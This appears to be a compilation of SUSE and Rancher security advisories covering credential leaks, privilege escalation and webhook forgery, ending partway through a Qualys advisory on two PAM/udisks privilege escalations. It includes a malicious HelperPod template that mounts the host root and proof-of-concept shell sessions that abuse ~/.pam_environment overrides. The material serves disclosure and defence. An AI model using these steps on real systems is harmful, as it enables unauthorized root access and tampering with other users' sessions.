A information disclosure when DEBUG loglevel is set in SUSE Rancher AI Agent 1.0 before 1.0.2 could leak API keys or LLM response text with potential sensitive data into logfiles, allowing local attackers to misuse respective gained data or credentials.

Impact A vulnerability in Fleet for Rancher Manager affects multi-tenancy environments where different tenants share the same downstream clusters (e.g., different privileged or untrusted teams inside the same organization).

On unpatched versions, tenants could bypass restrictions to access any config map or secret across all namespaces on the downstream cluster. They can create cluster-wide resources using HelmOp or Bundle without authorization. Specifically, an attacker can exploit this vulnerability in the following ways: 1. Use valuesFrom in fleet.yaml(through a GitRepo resource) or a HelmOp resource to read the contents of any secret an on the downstream cluster, provided they know or can guess the name, namespace, and key. 2. Deploy HelmOp and Bundle resources without being restricted to a specific service account for the Fleet agent.

If you use Fleet in a multi-tenant environment, it's recommended that you: - Review your cluster and Fleet deployments logs for indicators of unauthorized access across tenant namespaces. - Rotate any service accounts and credentials that might have been exposed.

Please consult the associated MITRE ATT&CK - Technique - Unsecured Credentials for further information about this category of attack.

Patches To resolve this vulnerability, upgrade to a patched version of Fleet. The new Policy resource allows you to: - Configure GitRepos, HelmOps, and Bundles to require a specific service account for the Fleet agent on downstream clusters used for deployment. The agent uses these designated service accounts for operations, blocking access to unauthorized resources. - Restrict HelmOp repository and chart URLs by using a regular expression. The regular expression is automatically anchored with ^ and $, meaning it must match the entire URL string.

Like GitRepoRestriction, a Policy resource must be created in the specific namespace you want to restrict, and it only applies to that namespace.

Note: Before applying a policy, ensure that the required service account is available on the downstream clusters and is configured with least-privilege permissions.

Patched versions of Fleet include releases v0.15.2, v0.14.6, 0.13.11, and v0.12.15.

Workarounds If you can't upgrade to a fixed version, please make sure that tenants do not have shared access to the same downstream clusters.

Credits

This security issue was reported by the following collaborators according to our responsible disclosure policy:

- Radisauskas Arnoldas from NATO and the NATO Cyber Security Centre (NCSC).

References If you have any questions or comments about this advisory: - Reach out to the SUSE Rancher Security team for security related inquiries. - Open an issue in the Rancher repository. - Verify with our support matrix and product support lifecycle.

Impact A vulnerability has been identified in Fleet when the helmRepoURLRegex field isn't set on a GitRepo resource. Fleet's bundle reader forwards Helm authentication credentials (BasicAuth) to any URL specified in the helm.repo field of a fleet.yaml file.

An attacker with git push access to a Fleet-monitored repository can exploit this behavior by specifying a malicious URL in helm.repo. This causes the Fleet controller to send the configured Helm repository credentials to the attacker’s server.

As a result, the attacker can capture the username and password that an administrator configured to access a private Helm chart repository. However, the response body from the attacker's server isn't included in the error message (this behavior was fixed in Fleet v0.13.3 and later), which prevents additional internal data from leaking through the status condition.

The final severity of this vulnerability depends on the specific permissions of the leaked credentials.

Fleet recommends you to: 1. Review your system for potentially leaked credentials. 2. Replace any credentials that might be compromised.

Please consult the associated MITRE ATT&CK - Technique - Stored Data Manipulation and MITRE ATT&CK - Technique - Steal Application Access Token for further information about this category of attack.

Patches To resolve this vulnerability, upgrade to a patched version of Fleet. The patched version of Fleet now requires you to set the helmRepoURLRegex field on the GitRepo. If the helmRepoURLRegex is empty or missing, Fleet won’t send credentials, regardless of the URL specified in fleet.yaml. When you upgrade, a Helm pre-upgrade job automatically migrates existing GitRepo resources that have helmSecretName or helmSecretNameForPaths configured but lack a helmRepoURLRegex. The migration job performs the following actions:

The job extracts the scheme and host from the Helm repository URLs already stored in the resource's Bundles. For example, a GitRepo with Bundles referencing https://charts.example.com/stable receives helmRepoURLRegex: "^https://charts\.example\.com/". This limits credential forwarding to the origins already in use before the upgrade. Migrated resources are annotated with fleet.cattle.io/helm-regex-auto-migrated: "true" so you can easily audit them.

If no Bundles with Helm repository URLs exist during the migration (for example, if the GitRepo has never successfully synced), helmRepoURLRegex remains empty and credentials aren't forwarded. You must set this field manually before Fleet will send credentials.

The migration job runs only once per installation and records its status in a ConfigMap named fleet-helm-url-regex-migrated in the Fleet system namespace. Any GitRepo resources you create after the upgrade require an explicit helmRepoURLRegex to forward credentials.

Patched versions of Fleet include releases v0.15.2, v0.14.6, 0.13.11, and v0.12.15.

Workarounds If you cannot immediately upgrade to a patched version, use the following methods to mitigate the risk and audit your environment. Set helmRepoURLRegex on all GitRepo resources that use helmSecretName. Ensure the regular expression matches only your legitimate Helm repository URL.

Example configuration: yaml apiVersion: fleet.cattle.io/v1alpha1 kind: GitRepo metadata: name: my-app namespace: fleet-local spec: repo: https://git.example.com/org/my-app.git helmSecretName: helm-creds helmRepoURLRegex: "^https://charts\\.example\\.com/."

After upgrading to a patched version, review all auto-migrated GitRepo resources by running the following command:

kubectl get gitrepo -A -o json | \ jq -r '.items[] | select(.metadata.annotations["fleet.cattle.io/helm-regex-auto-migrated"] == "true") | "\(.metadata.namespace)/\(.metadata.name): \(.spec.helmRepoURLRegex)"'

Verify that the auto-derived regular expression matches only your intended Helm repository origins. If a regular expression is broader than necessary, replace it with a more specific pattern.

Credits

This security issue was reported by the following collaborators according to our responsible disclosure policy:

- Radisauskas Arnoldas from NATO and the NATO Cyber Security Centre (NCSC). - FluentLogic's security team.

References If you have any questions or comments about this advisory: - Reach out to the SUSE Rancher Security team for security related inquiries. - Open an issue in the Rancher repository. - Verify with our support matrix and product support lifecycle.

Impact A vulnerability has been identified in Fleet when the webhook endpoint is configured without a secret; an attacker can forge webhook requests. The attacker doesn't need to know the specific repository or path configured in the GitRepo resource to make Fleet process these requests.

An attacker can exploit this vulnerability to cause the following impacts: 1. Trigger continuous repository re-cloning, which increases network traffic and can deplete resources on the management cluster. 2. Downgrade running services to any historical revision available in the remote Git repository. This risk applies if the attacker has read access to the target Git repository and knows its configured path.

Please consult the associated MITRE ATT&CK - Technique - T1499.004: Endpoint Denial of Service for further information about this category of attack.

Patches To resolve this vulnerability, upgrade Fleet to a patched version. This upgrade version escapes the URL and path to the remote repository received from webhooks, which prevents regular expressions from being used as a replacement for the URL and path.

Patched versions of Fleet include releases v0.15.2, v0.14.6, 0.13.11, and v0.12.15.

Workarounds If you can't upgrade to a fixed version, please make sure to only enable webhooks with a shared secret.

Credits

This security issue was reported by the following collaborators according to our responsible disclosure policy:

- Radisauskas Arnoldas from NATO and the NATO Cyber Security Centre (NCSC).

References If you have any questions or comments about this advisory: - Reach out to the SUSE Rancher Security team for security related inquiries. - Open an issue in the Rancher repository. - Verify with our support matrix and product support lifecycle.

A SAML authentication replay vulnerability in Rancher's Assertion Consumer Service (ACS) handler did not enforce one-time use of SAML assertion, potentially allowing person in the middle attacks against Rancher, affecting Rancher 2.14.0 before 2.14.3,

Impact A vulnerability has been identified within Rancher Manager in the GitHub App authentication provider. When evaluating permissions, the provider incorrectly expands user team memberships to include all teams within the associated GitHub organization, rather than restricting access to the specific teams to which the user actually belongs.

Specifically, when a user authenticates via the GitHub App provider, Rancher's team membership evaluation logic incorrectly handles cached data. Instead of checking the user-specific list, the evaluation logic iterates over all teams defined within the entire GitHub organization. The authentication provider should consult the correctly cached, per-user membership list to assign the user's specific group permissions. Consequently, any authenticated user who belongs to at least one team in a GitHub organization is mistakenly granted group principals for every team within that entire organization during authentication and authorization checks.

This issue allows a malicious user who is a member of a low-privilege team within a GitHub organization to gain unauthorized access to or permissions for any other team in that organization. If those other teams are bound to Rancher login allowlists or RBAC roles (cluster-level, project-level, or global), the attacker can pass access checks that should otherwise fail, inheriting permissions they were never granted.

Exploitation of this vulnerability requires the following conditions to be met: - The GitHub App authentication provider must be enabled and configured for the target GitHub organization. - The attacker must possess a valid GitHub account with membership in at least one team within that target organization. - A separate team within the same GitHub organization must be explicitly mapped to Rancher RBAC roles or specified within Rancher's login allowlist (allowedPrincipalIds).

Please consult the associated MITRE ATT&CK - Technique - Valid Accounts for further information about this category of attack.

Patches This fix corrects the team listing logic to iterate only the teams stored in the per-user membership cache and includes a one-time startup migration that marks all affected User resources for refresh, forcing Rancher to rebuild group principals using the now-corrected logic.

Patched versions of Rancher include releases v2.14.2 and v2.13.6.

Workarounds If upgrading to a patched version immediately is not feasible, users are encouraged to consider these temporary mitigations: - Disable GitHub App authentication provider and switch to an alternative authentication provider (GitHub OAuth). - Remove or restrict team-based group principals from allowed principalIds. - Audit and temporarily remove RBAC bindings (GlobalRoleBindings, ClusterRoleTemplateBindings, ProjectRoleTemplateBindings) that reference GitHub App team principals until the patch is applied. - Disable provider refresh and clean up inflated group membership for users (manually or by writing a script).

These workarounds reduce the attack surface but do not eliminate the vulnerability. Existing user sessions and cached principals remain inflated until a provider refresh occurs. Upgrading to a patched version is strongly recommended.

References If you have any questions or comments about this advisory: - Reach out to the SUSE Rancher Security team for security related inquiries. - Open an issue in the Rancher repository. - Verify with our support matrix and product support lifecycle.

Impact

A vulnerability has been identified in Rancher Manager that allows users assigned the Project Owner role to modify Pod Security Admission (PSA) labels on namespaces within their projects. Under the default role configuration, an attacker with the following access pattern can exploit this issue: 1. Cluster Access: The user is granted Cluster Member access. 2. Project Ownership: The user creates or is assigned ownership of a project. 3. Namespace Creation: The user creates a namespace within that project. 4. PSA Modification: The user modifies the namespace PSA configuration to use the privileged profile. 5. Privilege Escalation: The user deploys privileged workloads within the namespace.

As outlined in the Kubernetes Pod Security Standards documentation, privileged containers disable core Kubernetes security protections, allowing workloads to bypass standard container isolation boundaries. This can result in privilege escalation within the cluster environment.

Potential impacts include: - Deployment of privileged containers - Access to host-level resources - Container breakout - Cluster privilege escalation - Compromise of workloads running on affected nodes

Please refer to the associated MITRE ATT&CK techniques for further information about this category of attack: - Deploy Container - Escape to Host - Exploitation for Privilege Escalation

Reference: Kubernetes Pod Security Standards — Privileged Profile

Patches This vulnerability is resolved by modifying the project-owner role to explicitly define the allowed verbs for projects resources instead of using the wildcard () permission.

The updated role configuration removes access to the updatepsa verb. This prevents project owners from modifying PSA settings in a manner that could enable privilege escalation.

Patched versions of Rancher include releases v2.12.10, v2.13.6, and v2.14.2.

Workarounds If upgrading is not immediately possible, administrators should create a custom project role based on the existing Project Owner role, while removing unrestricted wildcard permissions for project resources.

The allowed verbs for projects should be restricted to: “get, update, delete, patch, create, list, watch, deletecollection” instead of “”.

This prevents access to the updatepsa capability that enables the privilege escalation path.

References If you have any questions or comments about this advisory: - Reach out to the SUSE Rancher Security team for security related inquiries. - Open an issue in the Rancher repository. - Verify with our support matrix and product support lifecycle.

Passing of unsanitized strings from DHCP replies into the wicked dhcp client before wicked 0.6.79 could be used by attackers operating a malicious DHCP server to execute code on the local machine.

Impact

A malicious user with permission to edit the local-path-config ConfigMap in the local-path-storage namespace can manipulate the helperPod.yaml template used by rancher/local-path-provisioner.

The helperPod.yaml template is loaded by the provisioner and used to create HelperPods during PVC provisioning and cleanup operations. However, the template is not sufficiently validated before use. Security-sensitive fields such as securityContext.privileged, hostPath volumes, and Linux capabilities can be injected into the template.

Example malicious HelperPod template:

~~~yaml apiVersion: v1 kind: Pod metadata: name: helper-pod spec: containers: - name: helper-pod image: docker.io/kindest/local-path-helper:v20230510-486859a6 imagePullPolicy: IfNotPresent securityContext: privileged: true volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / type: Directory ~~~

When a PVC operation triggers HelperPod creation, the provisioner creates the HelperPod using the attacker-controlled template. This can result in a privileged pod running on the target node with the host root filesystem mounted.

This may allow the attacker to access sensitive host files, read ServiceAccount tokens from other pods on the same node, access other tenants' local-path volume data, or modify files on the host node.

Expected Behavior:

- The HelperPod template should not allow privileged containers. - The HelperPod template should not allow arbitrary hostPath mounts. - Security-sensitive fields in helperPod.yaml should be validated or rejected before the provisioner creates HelperPods.

Patches

This vulnerability is addressed by validating the HelperPod template loaded from the local-path-config ConfigMap before it is used to create HelperPods.

The fix ensures that unsafe fields such as privileged security contexts, hostPath volumes, and other dangerous pod security settings are rejected. This prevents an attacker with ConfigMap edit permission from injecting a malicious HelperPod template that grants access to the host node.

Previously, a malicious user could modify helperPod.yaml to cause the provisioner to create a privileged HelperPod with the host root filesystem mounted, potentially leading to node-level compromise and ServiceAccount token theft.

With this fix, HelperPod templates containing unsafe security-sensitive fields are denied, and only safe HelperPod configurations are accepted.

Patched versions of local-path-provisioner include releases v0.0.34 and later.

No patches are provided for earlier releases, as they do not include the necessary HelperPod template validation logic.

Workarounds

Users should upgrade to a patched version of local-path-provisioner to fully mitigate this vulnerability.

As a temporary mitigation, users can restrict write access to the local-path-config ConfigMap in the local-path-storage namespace. Only trusted administrators should be allowed to update this ConfigMap.

Users may also mark the ConfigMap as immutable after deployment:

~~~bash kubectl -n local-path-storage patch configmap local-path-config \ --type merge -p '{"immutable": true}' ~~~

Additionally, enabling Kubernetes Pod Security Admission for the local-path-storage namespace can provide defense in depth. For example, enforcing the baseline policy can prevent privileged HelperPods from being created even if the template is modified:

~~~bash kubectl label namespace local-path-storage \ pod-security.kubernetes.io/enforce=baseline \ pod-security.kubernetes.io/warn=restricted ~~~

These mitigations reduce the risk of exploitation, but upgrading to a patched release is required to fully address the issue.

References

If you have any questions or comments about this advisory:

- Contact the SUSE Rancher Security team for security related inquiries. - Open an issue in the Rancher repository.

This new Linux kernel bug called Copy Fail (CVE-2026-31431) is kinda terrifying because it’s not complicated at all. A normal user can run a tiny 732-byte script and get root, no race conditions or luck required, and it works across major distros like Ubuntu, RHEL, and SUSE. The exploit quietly modifies the page cache instead of the file on disk, so integrity checks don’t catch it, but the kernel still executes the tampered version in memory.

Even worse, since the page cache is shared, it can potentially cross container boundaries too. Patch ASAP if your distro hasn’t already, because this one feels way too reliable…

crypto: algifaead - Revert to operating out-of-place

On Sun, 8 Mar 2026 03:57:45 +0100, Solar Designer wrote: others have. It may well be that allowing those other env vars by and maybe allowing LANG and LC is desirable for current use cases. LANG and LC were cargo-culted in as they are honoured by OpenSSHd. Separately note that I didn't check the BSDs telnet client (which I think is still present in all BSDs) for being (hopefully not) willing And you could want to check the telnet client in InetUtils, now that we know this package missed telnet[d] security fixes in general. This was CVE-2005-0488 (and CVE-2005-1205 on Windows).

"Certain BSD-based Telnet clients, including those used on Solaris and SuSE Linux, allow remote malicious Telnet servers to read sensitive command."

The daemon now clears the inherited environment (preserving PATH and TERM, respectively, if present) before calling telnetdsetup(). LDPRELOAD=/lib64/libhardenedmalloc.so (although /etc/ld.so.preload is a more reliable way to do this when practical to do it globally).

exorciseenv() and leave the inetd/tcpd supplied environment intact for telnetd (or some site-specific wrapper) to inherit. +++ b/telnetd/state.c @@ -1495,10 +1495,18 @@ suboption (void) case NEWENVVAR: case ENVUSERVAR: ... } / end of case TELOPTNEWENVIRON /

Some code duplication here. Not new with these changes, but could be worth moving to a new function e.g. setenvvarifallowed(). Agreed. I'll implement setenvvarifallowed() instead. +/ A default whitelist for environment variables. / +static const char allowedenvvars[] = { + "USER", + "LOGNAME", + "TERM", + "LANG", + "LC", + NULL +};

Can make not only the strings but also the pointers const:

static const char const allowedenvvars[] = {

so that both may end up in a read-only section. OK, .rodata it is. +int +isenvvarallowed (const char var, const char val) +{ + const char p; + int allowed = 0; + + for (p = allowedenvvars; p; p++) + { + if (fnmatch (p, var, FNMNOESCAPE) == 0) + { + allowed = 1; + break; + } + } + + if (!allowed) + return 0;

You didn't strictly need the "allowed" variable, you could check p after the loop. But maybe it's more readable the way you wrote it. I'll keep "allowed" for the time being, but I don't mind changing it if there's a clearer way to express this logic. My review above isn't in full context - I only looked at the patches.

A Improper Access Control vulnerability in the kernel of SUSE SUSE Linux Enterprise Server 12 SP5 breaks nftables, causing firewall rules applied via nftables to not be effective.This issue affects SUSE Linux Enterprise Server: from 9e6d9d4601768c75fdb0bad3fbbe636e748939c2 before 9c294edb7085fb91650bc12233495a8974c5ff2d.

Impact A vulnerability has been identified within the Rancher Backup Operator, resulting in the leakage of S3 tokens (both accessKey and secretKey) into the rancher-backup-operator pod's logs.

Specifically, the S3 accessKey and secretKey are exposed in the pod's logs under the following logging level conditions:

| Variable Exposed | Logging Level Condition | ------------------ | ------------------------- | | accessKey | trace: false (default), and debug: false (default) | | secretKey | trace: true or debug: true|

Note: The S3 accessKey is exposed in the logs without requiring any supplementary configuration.

For further information on this attack category, please consult the associated MITRE ATT&CK - Technique - Log Enumeration.

Patches This vulnerability is addressed by applying redaction to sensitive information that was leaking.

Patched versions of Rancher Backup Operator include: 108.0.1+up9.0.1, 107.1.2+up8.1.2, 106.0.6+up7.0.5, and 105.0.6+up6.0.3.

Workarounds Users are advised to rotate both S3 accessKey and secretKey once they have upgraded to a fixed version, especially if logs are exported.

Users who cannot update Rancher are advised to refresh the Rancher app Repository, which should provide the ability to update just the Rancher Backup chart alone. This will patch the vulnerabilities without requiring Rancher to be updated. This will not work for Rancher clusters in an air-gap setup.

For air-gapped Rancher clusters, the Rancher version must be updated first, and then after you will find the patched version of the Rancher Backup chart to upgrade. You will also need to sync new images for the release to your image mirror.

Users who cannot update either Rancher or Rancher Backup should ensure that both debug and trace values are both false (default). Users should revert the values to the default until they can update to prevent potential leaks.

References If you have any questions or comments about this advisory: - Reach out to the SUSE Rancher Security team for security related inquiries. - Open an issue in the Rancher repository. - Verify with our support matrix and product support lifecycle.

Impact A vulnerability has been identified within Rancher Manager, where using self-signed CA certificates and passing the -skip-verify flag to the Rancher CLI login command without also passing the –cacert flag results in the CLI attempting to fetch CA certificates stored in Rancher’s setting cacerts. This does not apply to any other commands and only applies to the login command if the –cacert flag was not provided.

An attacker with network-level access between the Rancher CLI and Rancher Manager could interfere with the TLS handshake to return a CA they control, despite the use of the --skip-verify flag. This may be abused to bypass TLS as a security control. Attackers can also see basic authentication headers in a Man-in-the-Middle due to the lack of TLS enforcement.

Please consult the associated MITRE ATT&CK - Technique - Man-in-the-Middle for further information about this category of attack.

Patches This vulnerability is addressed by removing the ability to fetch CA certificates stored in Rancher’s setting cacerts when using the login command. Whenever required, for example when using self-signed certificates, CA certificates have to be explicitly passed with the –cacert flag.

Patched versions of Rancher include releases v2.13.2, v2.12.6, v2.11.10, and v2.10.11.

Workarounds If a projecct can't upgrade to a fixed version, please make sure whenever required, for example when using self-signed certificates, to always explicitly pass CA certificates with the –cacert flag when using the login command.

References If there are any questions or comments about this advisory: - Reach out to the SUSE Rancher Security team for security related inquiries. - Open an issue in the Rancher repository. - Verify with the support matrix and product support lifecycle.

Note: Rancher versions beyond 2.3.0-alpha5 are no longer supported at pkg.go.dev, follow Rancher installation instructions for newer versions.

A Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability allows attackers to run arbitrary javascript via a reflected XSS issue in the search fields.This issue affects Container suse/manager/5.0/x8664/server:latest: from ? before 5.0.28-150600.3.36.8; SUSE Manager Server LTS 4.3: from ? before 4.3.88-150400.3.113.5.

A Path Traversal vulnerability in the tftpsync/add and tftpsync/delete scripts allows a remote attacker on an adjacent network to write or delete files on the filesystem with the privileges of the unprivileged wwwrun user. Although the endpoint is unauthenticated, access is restricted to a list of allowed IP addresses.

A UNIX Symbolic Link (Symlink) Following vulnerability in logrotate config in the exim package allowed privilege escalation from mail user/group to root.This issue affects Tumbleweed: from ? before 4.98.2-lp156.248.1.

A Plaintext Storage of a Password vulnerability in SUSE exposes the credentials for the HTTP proxy in the log files. This issue affects Container suse/manager/4.3/proxy-httpd:4.3.16.9.67.1: from ? before 4.3.33-150400.3.55.2; Container suse/manager/5.0/x8664/proxy-httpd:5.0.5.7.23.1: from ? before 5.0.14-150600.4.17.1; Container suse/manager/5.0/x8664/server:5.0.5.7.30.1: from ? before 5.0.14-150600.4.17.1; Image SLES15-SP4-Manager-Proxy-4-3-BYOS: from ? before 4.3.33-150400.3.55.2; Image SLES15-SP4-Manager-Proxy-4-3-BYOS-Azure: from ? before 4.3.33-150400.3.55.2; Image SLES15-SP4-Manager-Proxy-4-3-BYOS-EC2: from ? before 4.3.33-150400.3.55.2; Image SLES15-SP4-Manager-Proxy-4-3-BYOS-GCE: from ? before 4.3.33-150400.3.55.2; Image SLES15-SP4-Manager-Server-4-3-BYOS: from ? before 4.3.33-150400.3.55.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-Azure: from ? before 4.3.33-150400.3.55.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-EC2: from ? before 4.3.33-150400.3.55.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-GCE: from ? before 4.3.33-150400.3.55.2; SUSE Manager Proxy Module 4.3: from ? before 4.3.33-150400.3.55.2; SUSE Manager Server Module 4.3: from ? before 4.3.33-150400.3.55.2.

A Missing Authorization vulnerability in SUSE Linux Manager allows anyone with the ability to connect to port 443 of SUSE Manager is able to run any command as root on any client. This issue affects Container suse/manager/5.0/x8664/server:5.0.5.7.30.1: from ? before 5.0.27-150600.3.33.1; Image SLES15-SP4-Manager-Server-4-3-BYOS: from ? before 4.3.87-150400.3.110.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-Azure: from ? before 4.3.87-150400.3.110.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-EC2: from ? before 4.3.87-150400.3.110.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-GCE: from ? before 4.3.87-150400.3.110.2; SUSE Manager Server Module 4.3: from ? before 4.3.87-150400.3.110.2.

An attacker can leverage sudo's -R (--chroot) option to run arbitrary commands as root, even if they are not listed in the sudoers file. Sudo versions 1.9.14 to 1.9.17 inclusive are affected.

Qualys Security Advisory

CVE-2025-6018: LPE from unprivileged to allowactive in SUSE 15's PAM CVE-2025-6019: LPE from allowactive to root in libblockdev via udisks

======================================================================== Contents ========================================================================

Summary CVE-2025-6018: LPE from unprivileged to allowactive in SUSE 15's PAM - Analysis - Proof of concept - Digression CVE-2025-6019: LPE from allowactive to root in libblockdev via udisks - Analysis - Proof of concept Acknowledgments Timeline

======================================================================== Summary ========================================================================

We discovered an LPE vulnerability (a Local Privilege Escalation) in the PAM configuration of openSUSE Leap 15 and SUSE Linux Enterprise 15: an unprivileged local attacker (e.g., an attacker who logs in via sshd) can obtain the privileges of a physical "allowactive" user (i.e., a user who is physically sitting in front of the computer) and can therefore perform all the "allowactive yes" polkit actions that are normally reserved for physical users.

We also discovered another LPE vulnerability in libblockdev, trivially exploitable via the udisks daemon, which is installed by default on most Linux distributions: an "allowactive" user (e.g., a physical user, or an attacker who hijacked the session of a physical user, or an attacker who first exploited a vulnerability such as CVE-2025-6018 from this advisory) can obtain the full privileges of the root user.

We usually prefer LPEs from any unprivileged user to full root (instead of an LPE from an "allowactive" user to full root, like this CVE-2025-6019), but:

- when combined with the first LPE from this advisory (CVE-2025-6018), this second LPE (CVE-2025-6019) effectively allows an unprivileged attacker to obtain full root privileges;

- several high-profile vulnerabilities published recently also require the privileges of an "allowactive" user to be successfully exploited; for example, the following outstanding write-ups by Rory McNamara, Matthias Gerstner, and Attila Szasz:

https://snyk.io/blog/abusing-ubuntu-root-privilege-escalation/ https://security.opensuse.org/2024/11/26/tuned-instance-create.html https://ssd-disclosure.com/ssd-advisory-linux-kernel-hfsplus-slab-out-of-bounds-write/

Last-minute update: on May 25, 2025, Pumpkin Chang published a must-read blog post about D-Bus and Polkit, which is particularly relevant to this advisory because it contains a trick ("Abuse Rule Limitations") that can allow an unprivileged local attacker (who logs in via sshd for example) to obtain the privileges of a physical "allowactive" user; for more information:

https://u1f383.github.io/linux/2025/05/25/dbus-and-polkit-introduction.html

======================================================================== CVE-2025-6018: LPE from unprivileged to allowactive in SUSE 15's PAM ========================================================================

Analysis

During our recent work on OpenSSH, we noticed that, when an unprivileged user logs in via sshd on openSUSE Leap 15 or SUSE Linux Enterprise 15:

- PAM's pamenv module (from Linux-PAM 1.3.0) reads this user's ~/.pamenvironment file by default (i.e., pamenv's "userreadenv" configuration option is 1 by default);

- the pamenv module is called first, by sshd's dopamsetcred(), as part of PAM's "auth" stack (from /etc/pam.d/common-auth);

- the pamsystemd module is called later, by sshd's dopamsession(), as part of PAM's "session" stack (from /etc/pam.d/common-session).

Consequently, an unprivileged attacker who logs in via sshd can force the pamenv module to add arbitrary variables to PAM's environment (by first writing them to ~/.pamenvironment), and these variables are then returned to the pamsystemd module by pamgetenv(). In particular, the pamsystemd module calls pamgetenv() for the XDGSEAT and XDGVTNR variables, which immediately reminded us of Jann Horn's excellent CVE-2019-3842 in systemd:

https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1812316

In a nutshell, by setting XDGSEAT=seat0 and XDGVTNR=1 in ~/.pamenvironment, an unprivileged attacker who logs in via sshd on openSUSE Leap 15 or SUSE Linux Enterprise 15 can pretend that they are, in fact, a physical user who is sitting in front of the computer; i.e., an "allowactive" user, in polkit parlance.

Proof of concept

As a concrete result, such an attacker can then perform all the "allowactive yes" polkit actions that are normally reserved for physical users. For example, in the following proof of concept, the attacker calls systemd-logind's CanReboot() method to determine whether they are authenticated as an unprivileged "allowany" user (CanReboot() returns "challenge") or as a physical "allowactive" user (CanReboot() returns "yes"):

------------------------------------------------------------------------ attacker# ssh -i ided25519 nobody@victim

victim> grep PRETTYNAME= /etc/os-release PRETTYNAME="openSUSE Leap 15.6"

victim> id uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

victim> cat /usr/share/polkit-1/actions/org.freedesktop.login1.policy ... <action id="org.freedesktop.login1.reboot"> <description gettext-domain="systemd">Reboot the system</description> ... <allowany>authadminkeep</allowany> <allowinactive>authadminkeep</allowinactive> <allowactive>yes</allowactive> ...

victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot ('challenge',)

victim> { echo 'XDGSEAT OVERRIDE=seat0'; echo 'XDGVTNR OVERRIDE=1'; } > .pamenvironment

victim> exit

attacker# ssh -i ided25519 nobody@victim

victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot ('yes',) ------------------------------------------------------------------------

Last-minute note: SUSE Linux Enterprise Server 15 uses "restrictive" polkit settings, instead of the "standard" settings; consequently, we must call CanSuspend() (which is "authadminkeep:authadminkeep:yes") instead of CanReboot() (which is "authadminkeep") to determine whether we are authenticated as a physical "allowactive" user or not.

We will explore one easy way to transform this minor LPE (from an unprivileged user to an "allowactive" user) into a full root LPE, in the next section of this advisory; but first, a brief digression.

Digression

On Debian 12 and Ubuntu 24.04, when an unprivileged user logs in via sshd, PAM's pamenv module (from Linux-PAM 1.5.x) also reads this user's ~/.pamenvironment file, because pamenv's "userreadenv" is explicitly set to 1 in /etc/pam.d/sshd (it is 0 by default, since Linux-PAM 1.4.0).

However, unlike openSUSE Leap and SUSE Linux Enterprise, Debian and Ubuntu only call the pamenv module at the very end of PAM's "session" stack, so this user's arbitrary PAM variables (from ~/.pamenvironment) cannot interfere with the pamsmopensession() code of the pamsystemd module.

Nevertheless, we noticed that, by setting the XDGSESSIONID variable (in ~/.pamenvironment) to another user's session id, an unprivileged local attacker can interfere with the pamsmclosesession() code of the pamsystemd module, and hence with this other user's session (mark it as "closing" instead of "active", and delete its .ref FIFO, for example):

------------------------------------------------------------------------ attacker$ ssh evey@victim evey@victim's password:

victim$ grep PRETTYNAME= /etc/os-release PRETTYNAME="Ubuntu 24.04.2 LTS"

victim$ id uid=1001(evey) gid=1001(evey) groups=1001(evey),100(users)

victim$ ls -l /run/systemd/sessions total 8 -rw-r--r-- 1 root root 314 May 13 21:25 4 prw------- 1 root root 0 May 13 21:25 4.ref -rw-r--r-- 1 root root 310 May 13 21:33 6 prw------- 1 root root 0 May 13 21:33 6.ref

victim$ cat /run/systemd/sessions/4 This is private data. Do not parse. UID=1000 USER=theadmin ... STATE=active ... FIFO=/run/systemd/sessions/4.ref ...

victim$ echo 'XDGSESSIONID OVERRIDE=4' > .pamenvironment

victim$ exit

attacker$ ssh evey@victim evey@victim's password:

victim$ exit

attacker$ ssh evey@victim evey@victim's password:

victim$ ls -l /run/systemd/sessions total 8 -rw-r--r-- 1 root root 313 May 13 22:13 16 prw------- 1 root root 0 May 13 22:13 16.ref -rw-r--r-- 1 root root 315 May 13 22:04 4

victim$ cat /run/systemd/sessions/4 This is private data. Do not parse. UID=1000 USER=theadmin ... STATE=closing ... TTY=pts/0 TTYVALIDITY=from-utmp ... ------------------------------------------------------------------------

We were unable to transform this interference with pamsystemd's pamsmclosesession() into an LPE, but maybe more creative minds will. In any case, we recommend that all Linux distributions explicitly set pamenv's "userreadenv" to 0 (if not 0 by default); indeed, and as highlighted in the latest versions of pamenv's man page:

------------------------------------------------------------------------ userreadenv=0|1

Turns on or off the reading of the user specific environment file. 0 is off, 1 is on. By default this option is off as user supplied environment variables in the PAM environment could affect behavior of subsequent modules in the stack without the consent of the system administrator.

Due to problematic security this functionality is deprecated since the 1.5.0 version and will be removed completely at some point in the future. ------------------------------------------------------------------------

======================================================================== CVE-2025-6019: LPE from allowactive to root in libblockdev via udisks ========================================================================

Analysis

Armed with our "unprivileged to allowactive" LPE, we obviously decided to hunt for an "allowactive to root" LPE, and therefore grepped for "allowactive yes" polkit actions:

------------------------------------------------------------------------ victim> grep -rl 'allowactive.yes' /usr/share/polkit-1/actions /usr/share/polkit-1/actions/org.freedesktop.login1.policy /usr/share/polkit-1/actions/org.freedesktop.ModemManager1.policy /usr/share/polkit-1/actions/org.freedesktop.NetworkManager.policy /usr/share/polkit-1/actions/com.redhat.tuned.policy /usr/share/polkit-1/actions/org.fedoraproject.FirewallD1.desktop.policy.choice /usr/share/polkit-1/actions/org.fedoraproject.FirewallD1.server.policy.choice /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy ------------------------------------------------------------------------

As lovers of filesystems and race conditions, we decided to target the udisks daemon, which is installed by default on most Linux distributions and which allows, for example, an "allowactive" user to:

- set up a loop device that is backed by an arbitrary filesystem image provided by this user;

- mount this arbitrary loop-backed filesystem.

Naturally, to prevent such an "allowactive" user from trivially escalating their privileges to full root (by planting a SUID-root program or a special device in their filesystem image), the udisks daemon always mounts such a filesystem with the nosuid and nodev flags.

